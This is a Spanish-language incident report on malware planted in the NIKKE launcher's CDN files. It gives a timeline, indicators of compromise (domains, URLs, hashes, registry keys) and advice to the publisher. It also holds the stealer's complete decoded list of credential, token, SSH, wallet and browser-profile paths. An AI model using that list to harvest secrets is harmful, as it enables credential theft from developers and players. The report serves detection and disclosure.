| 2026-11-04 23:01-23:11 | Level Infinite publica una disculpa en X (23:01), y después su aviso de seguimiento (23:08) y las instrucciones de comprobación manual (23:11) en nikke-en.com (horas reportadas por Iwassoobsessedwith) |
| 2026-11-05 02:05 | El registrador suspende insightjs.com (client hold, Verisign RDAP, comprobado). A las 09:09 GMT los servidores de nombres de .com respondían NXDOMAIN para el dominio raíz, www y analytics (Google DNS, comprobado) |
Indicadores de compromiso
# Dominios
insightjs.com
analytics.insightjs.com
insightjs.org
# IP
89.127.233.127
89.126.250.172 (used until about Oct 21, reported)
# URL
https://insightjs.com/l.js?f=aegis
https://insightjs.com/l.js?f=images
https://insightjs.com/l.js?f=feedlist
https://insightjs.com/l.js?f=vue
https://analytics.insightjs.com/comm/assets/insight.bundle
https://analytics.insightjs.com/px/<32 hex> (Chrome DLL; the hex is the agent ID)
# Archivos oficiales modificados
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js (cliff101, reported)
https://sg-gpts.playerinfinite.com/comm/assets/lib/vue-bucket.min.js (cliff101, reported)
# SHA-256 de las copias modificadas
2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203 FeedList.feb647c9.js
3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193 vue-bucket.min.js
21d2fa4b6cdd15da3d5246687a01ef84fb848668144258b110606db5eb5ea7ce images.7fec4c32.js (4,358 bytes, ETag 481e9b5ab8fb93406bf31980b53e0578, zbeosf, checked)
04471ccf9f6ebac477ba4ca6b408a56621bccd16118c3112720adb35e6422e3d aegis-fix.min.js (69,731 bytes, ETag 50d1861152ea7f6875ffceb7d08445b5)
# SHA-256 de la carga útil (copia del 2026-11-03 16:22 GMT, 205,135 bytes; existen otras compilaciones)
cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec
# Compilación del 23 de octubre, Launcher\log\tinyget\k2f.lua, 165,108 bytes (zbeosf, reportado)
60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1
# Sea cual sea su tamaño o su nombre, un archivo de Launcher\log\tinyget que empieza por 1B 4C 4A 01 es el agente
# Cadenas de registro (Launcher/intl_service/debug.log)
startup already in progress
k2f_chan registered
adopted
resuming
agent started as
lua downloaded to log\tinyget\ (tinyget..log, or k2f.lua on early runs)
# Entradas del cargador en tbs_cache\Code Cache\js\ (los mismos nombres en todos los equipos)
dd65fa4d61079e7e_0 aegis
ce2fd3f1007a9fe9_0 images
1416c638b3830103_0 feedlist
fd520c7c0f65c2d7_0 vue
# ETag de insight.bundle (nginx: mtime en hex - tamaño en hex)
6ae60b83-3214f 6ae69086-3214f 6ae78037-3214f 6ae8ccff-3214f 6ae90538-3214f 6ae9d408-3214f 6ae9f628-3214f
# Estado del agente (Local Storage; se conserva aunque se elimine la carpeta de NIKKE)
%APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\*.log or *.ldb containing k2f.agent.state (.ldb tables can be compressed)
# Persistencia en Windows (la carpeta PlatformExperienceHelper en sí es una carpeta normal de Chrome; solo es maliciosa la subcarpeta de 64 caracteres hexadecimales con la DLL)
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\\platform_experience_helper.dll
HKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}\InprocServer32
# La DLL parece compilarse para cada víctima, así que su hash no es un indicador común. Busca la ruta y la clave.
# El código de limpieza del agente también elimina platform_experience_helper.dll, .dll.old y old-clsid.txt en
# PlatformExperienceHelper\ dentro de cada carpeta Application de Chrome, y un service_util.dll en su
# carpeta de trabajo; probablemente son restos de una versión anterior.
# Archivos temporales (se eliminan justo después de usarlos)
%TEMP%\k2f-bcreds--.db
%TEMP%\k2f_screen__.jpg (.png in the Oct 23 build, reported)
%TEMP%\k2f-keyscan--.db (Oct 23 build only, reported)
Para Level Infinite
- Cuatro archivos modificados en Tencent COS tenían
last-modifieddel 27 de septiembre de 2026, 06:41-06:42 GMT.aegis-fix.min.js,vue-bucket.min.jseimages.7fec4c32.jsse sustituyeron el 3 de noviembre entre las 17:04 y las 17:23 GMT. FeedList.feb647c9.jsse sustituyó en el origen el 28 de octubre a las 15:46 GMT y se volvió a subir el 3 de noviembre a las 20:13 y a las 20:19 GMT. 43.175.144.148 y 43.175.145.181 seguían sirviendo la copia del 27 de septiembre el 3 de noviembre a las 22:26 GMT, tanto parana-webassetscomo parasg-gpts, también en solicitudes con cadena de consulta, y 43.175.139.78 todavía la servía parana-webassetsel 4 de noviembre a las 00:48 GMT. Los cuatro servidores comprobados recibieron la copia limpia entre las 03:12 y las 03:21 GMT del 4 de noviembre y estaban limpios a las 11:20 GMT. No se comprobaron otros servidores de la CDN, así que conviene seguir comprobando cada ruta en todos los servidores, no solo en el que devuelve un resolutor DNS concreto.- Los jugadores que han iniciado el launcher desde el 27 de septiembre pueden tener todavía los archivos modificados en
tbs_cache, yFeedList.feb647c9.jsconservó su URL en el front-end del 4 de noviembre. Las instrucciones de comprobación manual piden a los jugadores que eliminentbs_cache, pero el aviso no dice que la comprobación del cliente oficial para PC la vacíe. El launcher debería dar aFeedList.feb647c9.jsuna URL nueva, o preguntar antes de vaciartbs_cache, que también contiene rastros que muestran si el agente se ejecutó. - El atacante tenía acceso de escritura al bucket de la CDN, o a la cadena de publicación que sube archivos a él. Hay que encontrar y cerrar ese acceso. Si no, se puede subir en cualquier momento un cargador nuevo con un dominio nuevo.
- Otros archivos de los mismos buckets también pueden estar modificados. Hay que compararlos con la salida de la compilación.
- El aviso de seguimiento sitúa el inicio de la distribución el 30 de octubre a las 03:52 UTC+9, pero las víctimas reportaron inicios del agente el 23 y el 24 de octubre (consulta la ). El cargador estaba en los archivos de la CDN desde el 27 de septiembre, así que los registros de los servidores y de la CDN deberían revisarse desde el 27 de septiembre, la fecha que el aviso ya usa para las comprobaciones de los jugadores.
- Las instrucciones de comprobación manual también deberían mencionar
%APPDATA%\nikke_launcher_hmty%APPDATA%\nikke_launcher_google, y cualquier archivo deLauncher\log\tinygetque empiece por1B 4C 4A 01, sea cual sea su tamaño. - El launcher actualizado eliminó
debug.logen una instalación limpia sin preguntar (reportado). Los jugadores necesitan ese archivo para saber si el agente se ejecutó en su PC, así que el launcher debería conservarlo, o al menos preguntar antes. - La carga útil descompilada, la tabla de cadenas decodificada y una muestra protegida con contraseña están a disposición de Level Infinite, de los proveedores de hosting y de los investigadores de seguridad que las pidan. No se publican aquí porque darían a cualquiera un programa funcional para robar datos.
Carga útil del launcher de NIKKE: todas las rutas objetivo
Esta es la traducción al español de la lista en inglés target-paths.md. Las rutas no se traducen.
Decodificado de insight.bundle (SHA-256 cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec). ~ es %USERPROFILE%. Las rutas con $VAR solo se usan cuando esa variable de entorno está definida.
Archivos y carpetas (250)
$ARGOCD_CONFIG_DIR\config
$AZURE_CONFIG_DIR\accessTokens.json
$AZURE_CONFIG_DIR\msal_token_cache.bin
$AZURE_CONFIG_DIR\service_principal_entries.bin
$CARGO_HOME\credentials.toml
$CLAUDE_CONFIG_DIR\.claude.json
$CLAUDE_CONFIG_DIR\.credentials.json
$CLAUDE_CONFIG_DIR\settings.json
$CLOUDSDK_CONFIG\access_tokens.db
$CLOUDSDK_CONFIG\application_default_credentials.json
$CLOUDSDK_CONFIG\credentials.db
$CODEX_HOME\auth.json
$CODEX_HOME\config.toml
$COMPOSER_HOME\auth.json
$COPILOT_HOME\mcp-config.json
$DOCKER_CONFIG\config.json
$DSH_HOME\.credentials.yaml
$GEMINI_CLI_HOME\.gemini\oauth_creds.json
$GEMINI_CLI_HOME\.gemini\settings.json
$GH_CONFIG_DIR\hosts.yml
$GRADLE_USER_HOME\gradle.properties
$HELM_CONFIG_HOME\repositories.yaml
$HF_HOME\stored_tokens
$HF_HOME\token
$JFROG_CLI_HOME_DIR\jfrog-cli.conf.v6
$KAGGLE_CONFIG_DIR\access_token
$KAGGLE_CONFIG_DIR\kaggle.json
$KIMI_SHARE_DIR\config.toml
$PULUMI_HOME\credentials.json
$SAKURA_PROFILE_DIR\*\config.json
$SNOWFLAKE_HOME\config.toml
$TWILIO_CONFIG_DIR\config.json
$XDG_CONFIG_HOME\configstore\firebase-tools.json
~\.aider.conf.yml
~\.aliyun\config.json
~\.anyscale\credentials.json
%APPDATA%\age\*
%APPDATA%\Anthropic\credentials\*.json
%APPDATA%\atlascli\config.toml
%APPDATA%\Buildkite CLI\bk.yaml
%APPDATA%\Claude\claude_desktop_config.json
%APPDATA%\cloudsmith\credentials.ini
%APPDATA%\Code - Insiders\User\globalStorage\state.vscdb
%APPDATA%\Code - Insiders\User\settings.json
%APPDATA%\Code\User\globalStorage\**\*.json
%APPDATA%\Code\User\globalStorage\state.vscdb
%APPDATA%\Code\User\mcp.json
%APPDATA%\Code\User\profiles\*\mcp.json
%APPDATA%\Code\User\profiles\*\settings.json
%APPDATA%\Code\User\settings.json
%APPDATA%\Code\User\workspaceStorage\*\state.vscdb
%APPDATA%\Composer\auth.json
%APPDATA%\Cursor\User\globalStorage\**\*.json
%APPDATA%\Cursor\User\globalStorage\state.vscdb
%APPDATA%\Cursor\User\settings.json
%APPDATA%\dart\pub-credentials.json
%APPDATA%\dart\pub-tokens.json
%APPDATA%\doctl\config.yaml
%APPDATA%\FileZilla\recentservers.xml
%APPDATA%\FileZilla\sitemanager.xml
%APPDATA%\fish\fish_history
%APPDATA%\gcloud\access_tokens.db
%APPDATA%\gcloud\application_default_credentials.json
%APPDATA%\gcloud\credentials.db
%APPDATA%\GitHub CLI\hosts.yml
%APPDATA%\gnupg
%APPDATA%\go\env
%APPDATA%\hcloud\cli.toml
%APPDATA%\helm\repositories.yaml
%APPDATA%\Microsoft\UserSecrets\*\secrets.json
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
%APPDATA%\Mozilla\Firefox\Profiles
%APPDATA%\netlify\Config\config.json
%APPDATA%\nikke_launcher
%APPDATA%\nikke_launcher_hmt
%APPDATA%\npm\etc\npmrc
%APPDATA%\NuGet\NuGet.Config
%APPDATA%\octopus\cli_config.json
%APPDATA%\Opera Software\Opera Stable
%APPDATA%\pip\pip.ini
%APPDATA%\postgresql\pgpass.conf
%APPDATA%\postgresql\.pg_service.conf
%APPDATA%\postgresql\psql_history
%APPDATA%\pypoetry\auth.toml
%APPDATA%\rclone\rclone.conf
%APPDATA%\s3cmd.ini
%APPDATA%\terraform.d\credentials.tfrc.json
%APPDATA%\terraform.rc
%APPDATA%\Windsurf\User\globalStorage\**\*.json
%APPDATA%\Windsurf\User\globalStorage\state.vscdb
%APPDATA%\Windsurf\User\globalStorage\storage.json
%APPDATA%\Windsurf\User\settings.json
%APPDATA%\.wrangler\config\default.toml
%APPDATA%\xdg.data\com.vercel.cli\auth.json
~\.argocd\config
~\.aws\cli\cache\*.json
~\.aws\config
~\.aws\credentials
~\.aws\sso\cache\*.json
~\.aws\sso\cache\kiro-auth-token.json
~\.Azure\accessTokens.json
~\.Azure\msal_token_cache.bin
~\.Azure\service_principal_entries.bin
~\.b2_account_info
~\.bash_history
~\.bce\config.json
~\.cache\huggingface\stored_tokens
~\.cache\huggingface\token
~\.cargo\credentials
~\.cargo\credentials.toml
C:\buildkite-agent\buildkite-agent.cfg
C:\config.toml
~\.certs\*
C:\GitLab-Runner\config.toml
~\.circleci\cli.yml
~\.claude\.credentials.json
~\.claude.json
~\.claude\settings.json
~\\.cloudflared\\*
~\.cloudsmith\credentials.ini
~\.codeium\windsurf\mcp_config.json
~\.codex\auth.json
~\.codex\config.toml
~\.config\age\*
~\.config\argocd\config
~\.config\circleci\config.yml
~\.config\configstore\firebase-tools.json
~\.config\gh\hosts.yml
~\.config\git\config
~\.config\git\credentials
~\.config\glab-cli\config.yml
~\.config\linode-cli
~\.config\planetscale\access-token
~\.config\tc\config.yml
~\.config\tea\config.yml
~\.continue\assistants\*.yaml
~\.continue\config.json
~\.continue\config.yaml
~\.continuum\anaconda-client\tokens\*.token
~\.copilot\mcp-config.json
C:\Program Files\Jenkins\secrets\initialAdminPassword
~\.cursor\mcp.json
~\.databrickscfg
~\.dbt\profiles.yml
~\.docker\config.json
~\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
~\Documents\PowerShell\profile.ps1
~\Documents\.Renviron
~\Documents\.Rprofile
~\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
~\Documents\WindowsPowerShell\profile.ps1
~\.dogrc
~\.dsh\.credentials.yaml
~\.expo\state.json
~\.fly\config.yml
~\.gem\credentials
~\.gemini\google_accounts.json
~\.gemini\oauth_creds.json
~\.gemini\settings.json
~\.gitconfig
~\.git-credentials
~\.gradle\gradle.properties
~\.hcloud\config.json
~\.jenkins\secrets\initialAdminPassword
~\.jfrog\jfrog-cli.conf
~\.jfrog\jfrog-cli.conf.v6
~\.kaggle\access_token
~\.kaggle\kaggle.json
~\.keys\*
~\.kimi\config.toml
~\.kimi\credentials\*.json
~\.kimi\mcp.json
~\.kube\config
%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
%LOCALAPPDATA%\ContinuumIO\binstar\*.token
%LOCALAPPDATA%\glab-cli\config.yml
%LOCALAPPDATA%\Google\Chrome\Application
%LOCALAPPDATA%\Google\Chrome\User Data
%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper
%LOCALAPPDATA%\Microsoft\Edge\User Data
%LOCALAPPDATA%\ngrok\ngrok.yml
%LOCALAPPDATA%\snowflake\config.toml
%LOCALAPPDATA%\snowflake\connections.toml
%LOCALAPPDATA%\Vivaldi\User Data
~\.local\share\fish\fish_history
~\.m2\settings.xml
~\mc\config.json
~\.modal.toml
~\.mysql_history
~\.ncloud\configure
~\.netrc
~\_netrc
~\.node_repl_history
~\.npmrc
~\.oci\*
~\.oci\config
~\.oraclebmc\config
~\.pg_service.conf
~\pip\pip.ini
%PROGRAMDATA%\gemini-cli\settings.json
%PROGRAMDATA%\Git\config
%PROGRAMDATA%\pip\pip.ini
%PROGRAMFILES%\Git\etc\gitconfig
~\.psql_history
~\.pulumi\credentials.json
~\.pypirc
~\.python_history
~\.qwen\.env
~\.qwen\settings.json
~\.railway\config.json
~\.rclone.conf
~\.rediscli_history
~\.runpod\config.toml
~\.s3cfg
~\.sbt\.credentials
~\.sbt\sonatype_central_credentials
~\.semgrep\settings.yml
~\.sentryclirc
~\.snowflake\config.toml
~\.snowflake\connections.toml
~\.snowsql\config
~\.sqlite_history
~\.ssh\
~\\.ssh\\*
~\.ssh\config
~\.supabase\access-token
~\.tccli\*.credential
%TEMP%\k2f-bcreds-
~\.terraform.d\credentials.tfrc.json
~\.terraformrc
~\.twilio-cli\config.json
~\.usacloud\*\config.json
%USERPROFILE%\code
%USERPROFILE%\.config\configstore\snyk.json
%USERPROFILE%\.config\containers\auth.json
%USERPROFILE%\.config\neonctl\credentials.json
%USERPROFILE%\.config\stripe\config.toml
%USERPROFILE%\.config\stripe\credentials.json
%USERPROFILE%\.config\.wrangler\config\default.toml
%USERPROFILE%\Desktop
%USERPROFILE%\dev
%USERPROFILE%\Documents
%USERPROFILE%\.local\share\opencode\auth.json
%USERPROFILE%\Programming
%USERPROFILE%\source
~\.vault-token
~\.volcengine\config.json
~\.yarnrc
~\.yarnrc.yml
~\.zsh_history
Variables de entorno leídas como ruta de archivo (16)
$AWS_CONFIG_FILE
$AWS_SHARED_CREDENTIALS_FILE
$B2_ACCOUNT_INFO
$BUILDKITE_AGENT_CONFIG
$DATABRICKS_CONFIG_FILE
$GOOGLE_APPLICATION_CREDENTIALS
$HELM_REPOSITORY_CONFIG
$HF_TOKEN_PATH
$MODAL_CONFIG_PATH
$NPM_CONFIG_USERCONFIG
$OCI_CONFIG_FILE
$PGPASSFILE
$PGSERVICEFILE
$PIP_CONFIG_FILE
$RCLONE_CONFIG
$TF_CLI_CONFIG_FILE
Subrutas de los perfiles de navegador (15)
browserscan lee Cookies, Network\Cookies, Login Data, Login Data For Account y Local State en los perfiles de Chrome, Edge, Brave, Vivaldi y Opera (en Opera, solo %APPDATA%\Opera Software\Opera Stable), y solo key4.db y logins.json en los perfiles de Firefox. Las cookies de Firefox no se leen. Extensions y las entradas marcadas con wallet_files solo se leen en los perfiles de Chrome. Dos entradas no son rutas de navegador: private-keys-v1.d es la carpeta de claves de GnuPG, y \u%04x es un formato de escape del codificador JSON.
\Cookies
\Extensions
\Extensions\
\IndexedDB\chrome-extension_ (wallet_files only)
\key4.db
\Local Extension Settings\ (wallet_files only)
\Local State
\Local Storage\leveldb (wallet_files only)
\Login Data
\Login Data For Account
\logins.json
\Network\Cookies
\private-keys-v1.d
\private-keys-v1.d\
\u%04x
Partes de ruta que keyscan omite y no lee (2)
Estas dos cadenas están en el filtro de exclusión de keyscan, junto a *.lock, *.pub, known_hosts y los nombres de archivo que contienen Embeddings. Cualquier ruta que las contenga queda fuera del análisis.
\ChatSessions\
\Skills-
Claves del Registro (7)
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}\InprocServer32
Software\GNU\GnuPG
Software\Martin Prikryl\WinSCP 2\Sessions
SOFTWARE\Microsoft\Windows NT\CurrentVersion
Software\SimonTatham\PuTTY\Sessions
SYSTEM\CurrentControlSet\Control\Session Manager\Environment
Nombres de archivo y extensiones que busca durante el análisis (39)
%0\x00
cloudformation.schema.json
codex-index-v1.json
config.ini
credentials
.db
diagnosticMessages.generated.json
docker-compose.yaml
docker-compose.yml
.env
.example
.git
hooks-index.json
inheritance.json
key4.db
kiro-auth-token.json
known_hosts
known_hosts.old
.ldb
.log
logins.json
.mcp.json
mcp.json
mcp_marketplace_catalog.json
.NET user-secrets
.old
old-clsid.txt
.package-lock.json
package-lock.json
%ProgramFiles%\Google\Chrome\Application
%ProgramFiles(x86)%\Google\Chrome\Application
%ProgramFiles(x86)%\NuGet\Config\NuGet.Config
%ProgramW6432%\Google\Chrome\Application
.sample
.sst
.template
toolEmbeddings.json
%XDG_CONFIG_HOME%\.semgrep\settings.yml
%XDG_CONFIG_HOME%\stripe\config.toml